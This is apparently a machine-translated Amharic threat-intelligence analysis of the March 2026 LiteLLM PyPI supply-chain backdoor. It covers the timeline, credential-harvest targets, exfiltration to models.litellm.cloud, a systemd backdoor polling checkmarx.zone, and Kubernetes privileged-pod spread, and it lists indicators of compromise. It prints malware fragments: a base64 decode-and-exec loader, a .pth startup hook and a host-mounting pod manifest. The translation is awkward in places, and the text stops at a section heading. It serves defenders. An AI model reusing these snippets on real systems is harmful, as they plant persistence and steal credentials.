የሊትኤልኤም የአቅርቦት ሰንሰለት ጥቃት

የሊትኤልኤም የአቅርቦት ሰንሰለት ጥቃት፡ የቡድፒፒፒ የኋላ በር ያለው የAI መሠረተ ልማት እንዴት ነው?

ይህ ለምን አስፈላጊ ነው?

ማርች 24፣ 2026፣ ታዋቂው የፓይዘን ጥቅል ሊቴልምበሺዎች የሚቆጠሩ ሰዎች የሚጠቀሙበት ሁለንተናዊ የኤልኤልኤም ፕሮክሲ ጌትዌይ enterpriseእንደ OpenAI፣ Anthropic፣ Google እና AWS Bedrock ባሉ አፕሊኬሽኖች እና የAI አቅራቢዎች መካከል ያለውን ትራፊክ ለማዞር s በ PyPI ላይ በጸጥታ ተጎድቷል። ሁለት የተመረዙ ስሪቶች (1.82.7 እና 1.82.8) እርስ በእርስ በ13 ደቂቃዎች ውስጥ ታትመዋል፣ ይህም የምስክር ወረቀቶችን የሚሰርቅ፣ የደመና ምስጢሮችን የሚያጣራ፣ በKubernetes ክላስተሮች ላይ በጎን በኩል የተዘረጋ እና የርቀት ኮድ የማስፈጸሚያ ችሎታዎች ያሉት ዘላቂ የኋላ በር የጫነ ነው።

በግምት 3.6 ሚሊዮን ዕለታዊ ውርዶች እና በደመና-ተወላጅ የAI መሠረተ ልማት ውስጥ በጥልቀት መሰማራት፣ ሊቴልም ዘመናዊ አጥቂዎች የሚመኙት ነገር ሁሉ መስቀለኛ መንገድ ላይ ይገኛል፡ ለእያንዳንዱ ዋና የAI አቅራቢ የኤፒአይ ቁልፎች፣ የደመና IAM ምስክርነቶች፣ የኩበርኔትስ ሚስጥሮች እና የSSH ቁልፎች።

ነገር ግን የሊትለም ስምምነት ብቸኛ ክስተት አልነበረም። የ... የአምስት ቀናት የአምስት ሥነ-ምህዳር ዘመቻ በመባል በሚታወቀው የስጋት ተዋናይ ቲምፒሲፒየደህንነት ስካነሮችን (አኳ ትሪቪ፣ ቼክማርክ KICS) ለመጀመሪያ ጊዜ የመረዘ ዘመቻ፣ ከዚያም የተሰረቀውን CI/CD ወደ npm፣ OpenVSX እና በመጨረሻም PyPI ለማውረድ የሚያስችሉ ማረጋገጫዎች። አጥቂዎቹ ድርጅቶች የአቅርቦት ሰንሰለቶቻቸውን ለመጠበቅ የሚተማመኑባቸውን መሳሪያዎች መሳሪያ ተጠቀሙባቸው።

ይህ ጥቃት በአቅርቦት ሰንሰለት ስጋት ላይ የተከሰተ የደረጃ ለውጥን ይወክላል። ባለብዙ-ሆፕ፣ የመስቀል-ኢኮሲስተም ዲዛይን፣ ከፍተኛ ዋጋ ያለው የደህንነት መሳሪያዎችን ለማበላሸት የአይአይ መሠረተ ልማት፣ ከጊዜ ወደ ጊዜ እየጨመረ ከሚሄደው የጥቃት መሣሪያ ጋር የሚስማማ የዕቅድ እና የአሠራር ብስለት ደረጃን ያንፀባርቃል። የክፍያ ጭነቶች በእውነተኛ ጊዜ ተደጋግመዋል (ሶስት የክፍያ ጭነት ልዩነቶች በምንጭ ኮዱ ውስጥ ይታያሉ፣ አስተያየት የተሰጡ ቀደምት ስሪቶችን ጨምሮ)፣ የC2 መሠረተ ልማት ከጥቃቱ አንድ ቀን በፊት ተመዝግቧል፣ እና የማውጣት ጎራዎች ህጋዊ የአቅራቢ መሠረተ ልማትን ለመምሰል በጥንቃቄ ተመርጠዋል። በስርዓት የተዋቀረው ሁሉን አቀፍ የምስክርነት ማጨጃ፣ እንደ Cardano ፊርማ ቁልፎች እና WireGuard ውቅሮች ያሉ ልዩ ኢላማዎችን ጨምሮ ከ15+ ምድቦችን የሚሸፍን፣ በAI የታገዘ የማልዌር ልማትን እንደ ኃይል ማባዣ የሚያመለክት የጥልቀት ደረጃን ይጠቁማል።

የጊዜ መስመር

ቀን (UTC) ድርጊት
መጋቢት 19 TeamPCP የAqua Trivy GitHub Action መለያዎችን በተንኮል አዘል ኮድ በመተካት ያሰናክላል CI/CD ከታችኛው ማከማቻዎች የተገኙ ምስጢሮች
መጋቢት 21 ስምምነት ተመሳሳይ ቴክኒኮችን በመጠቀም ወደ Checkmarx KICS እና AST GitHub Actions ይዘልቃል
መጋቢት 22፣ 06:35 BerriAI litellm 1.82.6 (የመጨረሻው ንፁህ ስሪት) በተለመደው በኩል ያትማል CI/CD pipeline ለደህንነት ቅኝት ትሪቪን የሚጠቀም
መጋቢት 23 TeamPCP models.litellm.cloud (exfiltration domain) ይመዘግባል። ከ66+ npm ፓኬጆች እና የOpenVSX ቅጥያዎች ጋር ይጋጫል።
መጋቢት 24፣ 10:39 litelm 1.82.7 ወደ PyPI ታትሟል -- የክፍያ ጭነት ወደ ውስጥ ገብቷል proxy_server.py በሞጁል ወሰን። በማስመጣት ላይ ይሰራል
መጋቢት 24፣ 10:52 litelm 1.82.8 ከ13 ደቂቃዎች በኋላ ታትሟል -- ይጨምራል litellm_init.pth, የፓይቶን መንገድ ውቅር መንጠቆ በእያንዳንዱ የፓይቶን ተርጓሚ ጅምር ላይ የሚሰራ፣ የሊቴልም ማስመጣትን ብቻ ሳይሆን። ፈጣን የክፍያ ጭነት ድግግሞሽን ያሳያል።
መጋቢት 24፣ ~16:00 PyPI ከማህበረሰብ ሪፖርቶች በኋላ ሁለቱንም ስሪቶች ያስወግዳል። ስሪቶች ከመረጃ ጠቋሚው ሙሉ በሙሉ ይሰረዛሉ (አይቆረጡም)፣ ምንም እንኳን የሲዲኤን ታርቦሎች ተደራሽ ሆነው ቢቆዩም

የተጋላጭነት መስኮት: በግምት 5.5 ሰዓታት። በዚህ ጊዜ ውስጥ ማንኛውም pip install litellm, pip install --upgrade litellmወይም CI/CD pipeline የቅርብ ጊዜውን ስሪት መጎተት የክፍያውን ጭነት ያስፈጽም ነበር።

ማልዌር እንዴት እንደገባ፡ የተዛባ ስምምነት

የሊቴልም ፓኬጅ በቀጥታ አልተጣሰም። አጥቂው የደረሰው በ ባለ ሁለት-ሆፕ የአቅርቦት ሰንሰለት ጥቃት:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

የሊትኤልኤም CI/CD pipeline ትሪቪን እንደ የደህንነት ስካነር ተጠቅሟል - ተጋላጭነቶችን ለመያዝ የተነደፈው መሣሪያ ራሱ የጥቃት ቬክተር ነበር። ምክንያቱም pipeline በተሰካ ሳይሆን በተለዋዋጭ መለያ የተጠቀሰ ትሪቪ commit SHA፣ የተጠለፈው እርምጃ በራስ-ሰር ተጀምሯል። ተንኮል አዘል ትሪቪ እርምጃ የአካባቢ ምስጢሮችን አጠራቅሟል፣ ይህም የሚከተሉትን ያካትታል PYPI_PUBLISH ቶከን፣ ለቲምፒሲፒ በቀጥታ የህትመት መዳረሻ ወደ litelm PyPI ፕሮጀክት ይሰጣል።

ይህ “የጠባቂዎችን ስምምነት” ስትራቴጂ የTeamPCP ዘመቻ መለያ ምልክት ነው። የደህንነት መሳሪያዎችን መጀመሪያ (ትሪቪ፣ ቼክማርክ KICS) በማነጣጠር፣ አጥቂዎቹ በተመሳሳይ ጊዜ ምርመራን አሰናክለው ወደ ታችኛው የአቅርቦት ሰንሰለቶች የመዳረስ መብት አግኝተዋል።

የቴክኒክ ትንተና፡ የክፍያው ጭነት

የመርፌ ነጥቦች

ሥሪት 1.82.7 — በሞጁል ደረጃ አፈፃፀም ውስጥ litellm/proxy/proxy_server.py (መስመር 128):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

ይህ ኮድ በመዝገበ-ቃላት ቀጥተኛ እና በዋናው መዝገበ-ቃላት መካከል ባለው የሞዱል ወሰን ላይ ይቀመጣል showwarning() ተግባር። ወዲያውኑ ሲሰራ ይሰራል litellm.proxy.proxy_server ከውጭ የገባ ነው - ይህም የሚከሰተው በማንኛውም የሊቴልም ተኪ ተግባር አጠቃቀም ላይ ነው።

ሥሪት 1.82.8 — ታክሏል litellm_init.pth (የፓይዘን ዱካ ውቅር ፋይል):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

ዘንዶ .pth ፋይሎች በ ውስጥ site-packages/ በእያንዳንዱ የተርጓሚ ጅምር ላይ ይካሄዳሉ፣ ነገር ግን የሚጀምሩት መስመሮች ብቻ ናቸው በ import እንደ ኮድ ይከናወናሉ። አጥቂው ይህንን ሙሉውን የክፍያ ጭነት በአንድ ነጠላ ሰንሰለት ላይ በሰንሰለት ይጠቀማል። import መግለጫ- import os, subprocess, sys; subprocess.Popen(...)ይህ ከ proxy_server.py መርፌ የበለጠ ኃይለኛ ነው - litellm በጭራሽ ባይመጣም እንኳ በእያንዳንዱ የፓይዘን ሂደት ጅምር ላይ ይቃጠላል። pyproject.toml ይህንን ፋይል በስርጭቱ ውስጥ ለማካተት ተሻሽሏል፡

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

ስለዚህ ስሪት 1.82.8 አለው ሁለት ገለልተኛ የማስፈጸሚያ መንገዶች፦ proxy_server.py injection (በlitelm proxy import ላይ ተኩሷል) እና .pth ፋይል (በማንኛውም የፓይዘን ጅምር ላይ ተኩሷል)። ድግግሞሽ ራሱ የሚታወቅ ነው - ሁለቱንም መንገዶች ብቻ ለይቶ ማወቅ ወይም ማስወገድን ይከላከላል። ከ1.82.7 በኋላ ከ13 ደቂቃዎች በኋላ ከኢምፖርት-ታይም ወደ ጅምር-ታይም አፈጻጸም መጨመር አጥቂው የማሰማራት ስኬትን እየተከታተለ እና በፍጥነት እየደጋገመ መሆኑን ያሳያል።

ደረጃ 1፡ አጠቃላይ የምስክር ወረቀት መሰብሰብ

የተፈታው ውስጣዊ ስክሪፕት ጥንቃቄ የተሞላበት የማረጋገጫ ክፍተት ነው። os.walk()glob.glob()subprocess.check_output()እና ቀጥታ ፋይል መላውን ስርዓት ለማጽዳት ይነበባል፡

መደብ ዒላማዎች
የስርዓት ማጣቀሻ hostname, whoami, uname -a, ip addr, printenv, ip route
ኤስኤስኤች ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; የአስተናጋጅ ቁልፎች ከ /etc/ssh/
ክላውድ (AWS) ~/.aws/credentials, ~/.aws/config; የIMDS ሚና ምስክርነቶች በ 169.254.169.254; የምስጢር አስተዳዳሪ ListSecrets; ኤስኤምኤም DescribeParameters
ክላውድ (ጂሲፒ) ~/.config/gcloud/ (ተደጋጋሚ); $GOOGLE_APPLICATION_CREDENTIALS
ክላውድ (አዙር) ~/.azure/ (ተደጋጋሚ)፤ የአካባቢ ተለዋዋጮች
ኩባንያቶች የአገልግሎት መለያ ቶከኖች፤ ca.crtየስም ቦታ፤ kubectl get secrets --all-namespaces; በK8s API በኩል ሁሉም ምስጢሮች
የአካባቢ ፋይሎች .env, .env.local, .env.production, .env.development, .env.staging — በተደጋጋሚ ተፈልጓል (ጥልቀት 6) /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
Docker ~/.docker/config.json, /kaniko/.docker/config.json
የጥቅል ቶከኖች ~/.npmrc, ~/.vault-token, ~/.netrc
የውሂብ ጎታዎች ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, የሞንጎDB ውቅሮች
ቲኤልኤስ/ኤስኤስኤል የግል ቁልፎች ከ /etc/ssl/private/, የምስክር ወረቀቶችን እንመስጥር፣ ሁሉም .pem/.key/.p12/.pfx ፋይሎች
Git ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
የ Crypto ቦርሳዎች ቢትኮይን፣ የኢቴሬም ቁልፍ መደብር፣ የሶላና ቁልፍ ጥንዶች (ማረጋገጫ፣ ድምጽ፣ ስቴክ፣ ፋውቴት)፣ የካርዳኖ ፊርማ ቁልፎች፣ ሊትኮይን፣ ዶጌኮይን፣ ዛካሽ፣ ዳሽ፣ ሪፕል፣ ሞኔሮ
የሼል ታሪክ .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
የስርዓት ፈቀዳ /etc/passwd, /etc/shadow፣ የፈቃድ ምዝግብ ማስታወሻዎች (የተቀባዩ የSSH ክፍለ ጊዜዎች)
የድር መንጠቆ/ኤፒአይ ቁልፎች ግሬፕ ለስላክ ድርhooks, የዲስኮርድ ድርhooks, የኤፒአይ ቁልፎች/ምስጢሮች በውቅረት ፋይሎች ውስጥ
የ VPN የWireGuard ውቅሮች ከ /etc/wireguard/

የዚህ መኸር ወሰን ኢንሳይክሎፔዲያክ ነው። የደመና ማስረጃዎችን ብቻ ሳይሆን የክሪፕቶ ምንዛሬ ቦርሳዎችን፣ የውሂብ ጎታ የይለፍ ቃሎችን፣ የቪፒኤን ውቅሮችን እና CI/CD ሚስጥሮች - አጥቂው በተለያዩ ቬክተሮች ላይ በተጎዱ ስርዓቶች ላይ ገቢ ለመፍጠር እንዳሰበ ይጠቁማል።

ደረጃ 2፡ ኢንክሪፕትድ ኤክስፋይሬትድ

የተሰረቀ መረጃ የተመሰጠረ እና የተቀላቀለ የኢንክሪፕሽን ዘዴን በመጠቀም የሚጣራ ነው፡

  • AES-256-CBC የተሰበሰበውን መረጃ በሙሉ በዘፈቀደ ባለ 32-ባይት የክፍለ ጊዜ ቁልፍ ኢንክሪፕሽን (በመጠቀም) openssl enc)
  • አርኤስኤ-4096 የአጥቂውን የተከተተ የህዝብ ቁልፍ በመጠቀም የክፍለ ጊዜ ቁልፉን ምስጠራ (የOAEP ፓዲንግ፣ በኩል) openssl pkeyutl)
  • ሁለቱም የሳይፈርቴክስት ፋይሎች እንደ ተጣምረዋል tpcp.tar.gz (በ tpcp ቅድመ ቅጥያ — “TeamPCP” — በዘመቻው ውስጥ በተከታታይ ይታያል)
  • HTTPS POST ወደ https://models.litellm.cloud/ ጋር Content-Type: application/octet-stream

ጎራው models.litellm.cloud ከጥቃቱ አንድ ቀን በፊት መጋቢት 23 ላይ ተመዝግቧል - እና ከሕጋዊ የሊቴልም መሠረተ ልማት ጋር እንዲዋሃድ የተነደፈ ነው (እውነተኛው ፕሮጀክት የሚጠቀመው litellm.ai) የኔትወርክ አውቆ የሚሄድ ትራፊክን የሚገመግም ተከላካይ እንኳን የሊቴልም የራሱን የሞዴል የመጨረሻ ነጥብ ላይሆን ይችላል።

ደረጃ 3፡ ቋሚ የኋላ በር (sysmon.py)

የክፍያው ጭነት እንደ የስርዓት ቴሌሜትሪ የተደበቀ የምርጫ ጀርባ በር ይጭናል፡

  • ዱካ~/.config/sysmon/sysmon.py
  • አገልግሎትsysmon.service (የስርዓት ተጠቃሚ አሃድ፣ “የስርዓት ቴሌሜትሪ አገልግሎት” ተብሎ የተገለጸው)
  • ጠባይ፦ ከመጀመሪያ 300 ሰከንድ እንቅልፍ በኋላ፣ ድምጽ መስጫ https://checkmarx.zone/raw በየ ~ 50 ደቂቃው
  • ማስፈጸም: በC2 የተመለሰውን ዩአርኤል ወደ ያወርዳል /tmp/pglog፣ ሊተገበር የሚችል ያደርገዋል (chmod 755)፣ በተናጠል ክፍለ ጊዜ ያስኬደዋል
  • የግዛት ክትትል/tmp/.pg_state ተመሳሳይ የክፍያ ጭነት እንደገና ማውረድን ይከላከላል
  • ጠንካራነትRestart=alwaysRestartSec=10 - ብልሽቶችን እና ዳግም ማስነሳቶችን ይቋቋማል

ጎራው checkmarx.zone የቼክማርክስ የፊደል አጻጻፍ ነው (የደህንነት ኩባንያው በ checkmarx.com)፣ የኔትወርክ ምዝግብ ማስታወሻዎችን የሚገመግሙ የSOC ተንታኞች ወደ ህጋዊ የደህንነት አቅራቢ የሚወስደውን ትራፊክ እንዲያዩ ታስቦ የተዘጋጀ ነው። ይህ ከ TeamPCP ሰፊ የደህንነት አቅራቢ የምርት ስም ስትራቴጂ ጋር የሚስማማ ሆን ተብሎ የሚደረግ የማምለጫ ዘዴ ነው።

ደረጃ 3ለ፡ የኩበርኔትስ የጎን እንቅስቃሴ

የተጎዳው ስርዓት የኩበርኔትስ አገልግሎት መለያ ምስክርነቶች ካሉት፣ ማልዌር ሁሉንም የክላስተር ኖዶች ይዘረዝራል እና ያሰማራል ልዩ መብት ያላቸው ፖዶች ለእያንዳንዱ፦

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

እያንዳንዱ ፖድ:

  • እንደሚከተለው ይሰራል ልዩ መብት ጋር hostPIDhostNetworkእና ሙሉ የአስተናጋጅ ፋይል ስርዓት መዳረሻ
  • ጥቅሞች chroot /host ተመሳሳይ ለመጫን sysmon.py በአስተናጋጁ የስር ፋይል ስርዓት ላይ የኋላ በር
  • እንደ የስርዓት አገልግሎት ያስመዘግበዋል፣ ይህም የፖድ ስረዛን ዘላቂነት ያረጋግጣል
  • የተባለ node-setup-* በውስጡ kube-system የስም ቦታ እንደ ህጋዊ የክላስተር መሠረተ ልማት ሆኖ እንዲታይ

ይህ ማለት ሀ ነጠላ ተጎጂ CI/CD የK8 መዳረሻ ያለው ሯጭ በክላስተር ውስጥ ያለው እያንዳንዱ ኖድ ወደ ኋላ በር እንዲገባ ሊያደርግ ይችላል — በኩበርኔቴስ ውስጥ እንደ ወኪል ሊቴልምን ለሚያስተዳድሩ ድርጅቶች አስከፊ የጎን እንቅስቃሴ ሁኔታ።

የክፍያ ጭነት ዝግመተ ለውጥ (አስተያየት የተሰጡ ተለዋጮች)

በመስመር 131-132 ላይ ያለው የምንጭ ኮድ ቀደም ሲል አስተያየት የተሰጡ ሁለት የክፍያ ጭነት ልዩነቶችን የያዘ ሲሆን የአጥቂውን የእድገት ሂደት ያሳያል፡

  • ሦስቱም ልዩነቶች ተመሳሳይ የፍሳሽ ማስወገጃ መሠረተ ልማት ይጋራሉ (models.litellm.cloud)፣ RSA-4096 የሕዝብ ቁልፍ፣ AES-256-CBC + RSA የተቀላቀለ የኢንክሪፕሽን መጠቅለያ፣ እና tpcp.tar.gz የጥቅል ስም አሰጣጥ
  • ቀደምት ተለዋጮች አክሏል አንድ የ RC4 ምስጠራ ንብርብር በውሂብ አሰባሰብ ስክሪፕት ውስጥ፣ ከውጪው AES+RSA መጠቅለያ በፊት የተሰበሰበውን ውሂብ ኢንክሪፕት ያደርጋል። ንቁው የክፍያ ጭነት (መስመር 130) ይህንን ውስጣዊ የRC4 ንብርብር በማስወገድ ቀለል ብሏል
  • ቀደምት ተለዋጮች ጥቅም ላይ ይውላሉ exec() ጋር StringIO ቀረጻ ሰብሳቢውን በሂደት ላይ ለማስኬድ፣ ንቁው የክፍያ ጭነት ሲጠቀም subprocess.run() ከ stdout redirect ጋር - የአስተናጋጅ ሂደቱን እንዳይበክል የሚያግድ ንጹህ መለያየት
  • ሦስቱም ልዩነቶች ተመሳሳይ የምስክርነት ምድቦችን እና የመሰብሰቢያ መንገዶችን ያነጣጠሩ ናቸው
  • በቀደሙት ስሪቶች ውስጥ የRC4 ቁልፍ አነቃቂ ስድብ ነበር፣ ይህም ተዋናይው በቴሌግራም ላይ ከነበረው ትኩረት የመፈለግ ባህሪ ጋር የሚስማማ ነው።

ይህ በቀዶ ጥገናው ወቅት ንቁ እድገትን ያሳያል። አጥቂው የኢንክሪፕሽን ቁልልን ቀላል አድርጎ የስብስብ ኢላማዎችን እና የፍሳሽ ማስወገጃ መሠረተ ልማቶችን የተረጋጋ በማድረግ የአፈጻጸም ማግለልን አሻሽሏል።

የስምምነት አመልካቾች (IOCs)

አውታረ መረብ

አመልካች ዓይነት ዓላማ
models.litellm.cloud የጎራ የኤክስፍልቴሽን መጨረሻ ነጥብ (ኤችቲቲፒኤስ POST)
checkmarx.zone የጎራ የC2 የሕዝብ አስተያየት መስጫ የመጨረሻ ነጥብ (HTTPS GET) /raw)

ማሳሰቢያ፡ ውጫዊ የሪፖርት ማድረጊያ አገናኞች checkmarx.zone/static/checkmarx-util-1.0.4.tgz ወደ ቀድሞው የTeamPCP ዘመቻ የKICS ምዕራፍ። ይህ ዩአርኤል እዚህ በተተነተኑት የlitelm የክፍያ ጭነቶች ውስጥ አልተገኘም።

የጥቅል ሃሾች

ፋይል SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

የፋይል ስርዓት

አመልካች ዓይነት ዓላማ
~/.config/sysmon/sysmon.py ፋይል ቋሚ የኋላ በር ስክሪፕት
~/.config/systemd/user/sysmon.service ፋይል የስርዓት ጽናት አሃድ
/tmp/pglog ፋይል ሁለተኛ ደረጃ ሁለትዮሽ ወርዷል
/tmp/.pg_state ፋይል የC2 ሁኔታ ክትትል
litellm_init.pth in site-packages/ ፋይል የፓይቶን ጅምር መንጠቆ (v1.82.8 ብቻ)
tpcp.tar.gz ፋይል የተመሰጠረ የማጣሪያ ጥቅል

ኩባንያቶች

አመልካች ዓይነት ዓላማ
node-setup-* ፖዶች በ ውስጥ kube-system ፖድ የጎን እንቅስቃሴ መብት ያላቸው ፖዶች
sysmon.service በክላስተር ኖዶች ላይ አገልግሎት በፖድ ማምለጫ በኩል የአስተናጋጅ ደረጃ ጽናት

ክሪፕቶግራፊክ

አመልካች ዝርዝሮች
አጥቂ RSA-4096 የህዝብ ቁልፍ የSHA256 የጣት አሻራ፦ bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8. በሦስቱም የክፍያ ጭነት ዓይነቶች ውስጥ የተካተተ፤ ተመሳሳይ ቁልፍ በሌሎች የTeamPCP ስራዎች ላይ ሪፖርት ተደርጓል
tpcp በቅሪተ አካላት ውስጥ ቅድመ ቅጥያ የጥቅል ስም አሰጣጥ ስምምነት (tpcp.tar.gz) በዘመቻው ውስጥ ወጥነት ያለው

ባለቤትነት፡ TeamPCP

ከዚህ ዘመቻ ጀርባ ያለው አስጊ ተዋናይ እንደሚከተለው ተከታተለ ቲምፒሲፒ, እንዲሁም PCPcat፣ Persy_PCP፣ ShellForce እና DeadCatx3 በመባልም ይታወቃል።

የሚታወቁ ባህሪያት፡

  • የቴሌግራም ቻናሎችን በ ላይ ያስተናግዳል @Persy_PCP ና @teampcp የደህንነት ኩባንያዎችን የሚሳለቁበት ቦታ
  • በተለያዩ ሥነ-ምህዳሮች (GitHub Actions፣ PyPI፣ npm፣ OpenVSX) ላይ ይሰራል
  • ለእያንዳንዱ የዘመቻ ምዕራፍ በሻጭ ላይ የተወሰኑ የታይፕስኩዋት ዶሜይኖችን ይጠቀማል (ለምሳሌ፣ checkmarx.zone ለቼክማርክ፣ models.litellm.cloud ለሊቴልም)
  • ወጥ የሆነ የመሠረተ ልማት ጠቋሚዎች፡ ተመሳሳይ የRSA ቁልፍ ጥንድ፣ tpcp.tar.gz የስም አሰጣጥ ስምምነት፣ tpcp-docs-* የጂትሃብ ማከማቻዎች እንደ ዴድ-drop staging ጥቅም ላይ ይውላሉ
  • የደህንነት መሳሪያዎችን ወደ ታችኛው የአቅርቦት ሰንሰለት መግቢያ ነጥቦች ያነጣጠረ ነው

የባለቤትነት እምነት፦ ከፍተኛ። የተጋራው የRSA የህዝብ ቁልፍ፣ tpcp የቅርስ ስም ማውጣት፣ የC2 መሠረተ ልማት መደራረብ እና በአምስት ቀናት ዘመቻው ውስጥ ያለው የአሠራር ፍጥነት የትሪቪ፣ የKICS፣ የnpm፣ የOpenVSX እና የሊቴልም ስምምነቶችን ከተመሳሳይ ተዋናይ ጋር በጥብቅ ያያይዘዋል።

ምክንያት መግለጽ፦ ምናልባትም የገንዘብ (ክሪፕቶ የኪስ ቦርሳ ስርቆት፣ የደመና የምስክርነት ገቢ መፍጠር) ከታዋቂነት ጋር ተጣምሮ (ቴሌግራም ማፌዝ)። የምስክርነት መሰብሰብ ስፋት - ከ AWS IAM እስከ Solana validator keypairs እስከ WireGuard ውቅሮች - ከእያንዳንዱ ስምምነት ROI ከፍ ለማድረግ የሚፈልግ በገንዘብ ላይ የተመሰረተ ተዋናይን ይጠቁማል።

ሊሆኑ የሚችሉ የ AI እገዛዎችየማረጋገጫ ማጨጃ መሳሪያው በስርዓት ሁሉን አቀፍ ነው - እንደ Cardano ፊርማ ቁልፎች፣ WireGuard ውቅሮች እና የካኒኮ ዶከር ምስክርነቶች ያሉ ልዩ ኢላማዎችን ጨምሮ ከ15 በላይ ምድቦች - ከAI-የታገዘ ቆጠራ ጋር በሚጣጣም መልኩ። የክፍያ ጭነት ድግግሞሽ ፍጥነት (የተለያዩ የኢንክሪፕሽን መርሃግብሮች ያላቸው ሶስት ልዩነቶች)፣ የመስቀል-ኢኮሲስተም ቅንጅት (በ5 ቀናት ውስጥ 5 ስነ-ምህዳሮች) እና የአሠራር OPSEC (ሻጭ-አስመስሎ የሚሰሩ ጎራዎች፣ የተዳቀለ ምስጠራ፣ እንደ ቴሌሜትሪ የተደበቀ የስርዓት ጽናት) በAI የታገዘ ልማትን እንደ ኃይል ማባዣ ሊያንፀባርቅ የሚችል የውጤት ደረጃን ይጠቁማሉ። ይህ ግምገማ ግምታዊ ነው፤ ችሎታ ያላቸው ኦፕሬተሮች ያለ AI መሳሪያ ተመሳሳይ ወሰን ማግኘት ይችላሉ።

አዳዲስ የቲቲፒዎች እና ቴክኒኮች

1. የደህንነት መሳሪያ አቅርቦት ሰንሰለት መመረዝ (T1195.002 ልዩነት)

የደህንነት ስካነሮችን (ትሪቪ፣ KICS) ወደ ታችኛው ኢላማ ለመድረስ እንደ የመጀመሪያ እርምጃ ማጋነን አዲስ ጭማሪ ነው። አጥቂው ቤተ-መጽሐፍትን ብቻ አላስቀመጠም - ድርጅቶች የሚጠቀሙባቸውን መሳሪያዎች አበላሽተዋል። ፈልግ የተጎዱ ቤተ-መጻሕፍት። ይህ ዓይነ ስውር ቦታ ይፈጥራል፡ ተንኮል አዘል ኮዱን መያዝ ያለበት ስካነር ራሱ የማድረሻ ዘዴው ነው።

2 ፓይዘን .pth የፋይል ጽናት (T1546)

የ litellm_init.pth በ v1.82.8 ውስጥ ያለው ቴክኒክ በተለይ ስውር ነው። .pth ፋይሎች በ ውስጥ site-packages/ በእያንዳንዱ የተርጓሚ ጅምር ላይ ይካሄዳሉ፤ ማንኛውም መስመር የሚጀምረው በ import እንደ ኮድ ይፈጸማል። የክፍያ ጭነቱን በአንድ ነጠላ ላይ በሰንሰለት በማስቀመጥ። import መግለጫው እንደሚያመለክተው፣ አጥቂው በእያንዳንዱ የፓይዘን ሂደት ላይ አፈጻጸምን ያገኛል - ሊቴልም ሲገባ ብቻ አይደለም። ይህ ማለት ሊቴልም ተጭኖ ባይውልም እንኳ የክፍያ ጭነቱ ይቃጠላል፣ እና የተበላሸውን የሚተካ ማስተካከያ ይተርፋል ማለት ነው። .py ፋይሎችን ሳይፈትሹ .pth ፋይሎችን.

3. የኩበርኔተስ ክላስተር-ሰፊ የጎን እንቅስቃሴ በልዩ ፖድ ማሰማራት (T1610፣ T1611)

በእያንዳንዱ የክላስተር ኖድ ላይ የልዩ መብቶች ፖዶችን በራስ-ሰር መፍጠር - ከ hostPIDhostNetwork, የአስተናጋጅ ፋይል ስርዓት መጫኛ፣ እና chroot ጽናት ለመጫን — አንድ የተጎዳ የሥራ ጫና ወደ ሙሉ የክላስተር ስምምነት ለመቀየር የእቃ ማጓጓዣ ማሰማራት (T1610) ከአስተናጋጅ ማምለጫ ጋር (T1611)።

4. የC2 መሠረተ ልማትን የሚያስመስል ሻጭ

በመጠቀም ላይ models.litellm.cloud (mimics litelm) እና checkmarx.zone (Checkmarxን አስመስሎ መስራት) እንደ C2/exfil የመጨረሻ ነጥቦች የአውታረ መረብ ክትትልን ለማምለጥ የተነደፈ ነው። የSOC ተንታኞች የውጣ ትራፊክን የሚገመግሙ ከትክክለኛ የአቅራቢ ጎራዎች ጋር የHTTPS ግንኙነቶችን ያያሉ።

5. በበረራ ውስጥ ፈጣን የክፍያ ጭነት ድግግሞሽ

ከ13 ደቂቃዎች በኋላ የማስመጣት-ጊዜ አፈጻጸም ጋር v1.82.7ን ማተም፣ ከዚያም ከ13 ደቂቃዎች በኋላ የጅምር-ጊዜ አፈጻጸም ያለው v1.82.8፣ አጥቂው በእውነተኛ ጊዜ ክትትል እና መላመድን ያሳያል። በምንጭ ኮዱ ውስጥ የተጠበቁ አስተያየት የተሰጡ የክፍያ ጭነት ልዩነቶች (ከተለያዩ የምስጠራ ዘዴዎች ጋር) በቀዶ ጥገናው ወቅት ንቁ እድገትን ያረጋግጣሉ።

ምን ማድረግ ይቻላል

ይህ ጥቃት በእያንዳንዱ ደረጃ ላይ ያለውን እምነት ይጠቀማል፤ በደህንነት መሳሪያዎች ላይ እምነት፣ በጥቅል መዝገቦች ላይ እምነት፣ በሚታወቁ ጎራዎች ላይ እምነት፣ በ CI/CD አውቶሜሽን። ከእሱ መከላከል የእያንዳንዱን የመተማመን ወሰኖች ማጠንከርን ይጠይቃል፡

ለፓኬጅ ሸማቾች

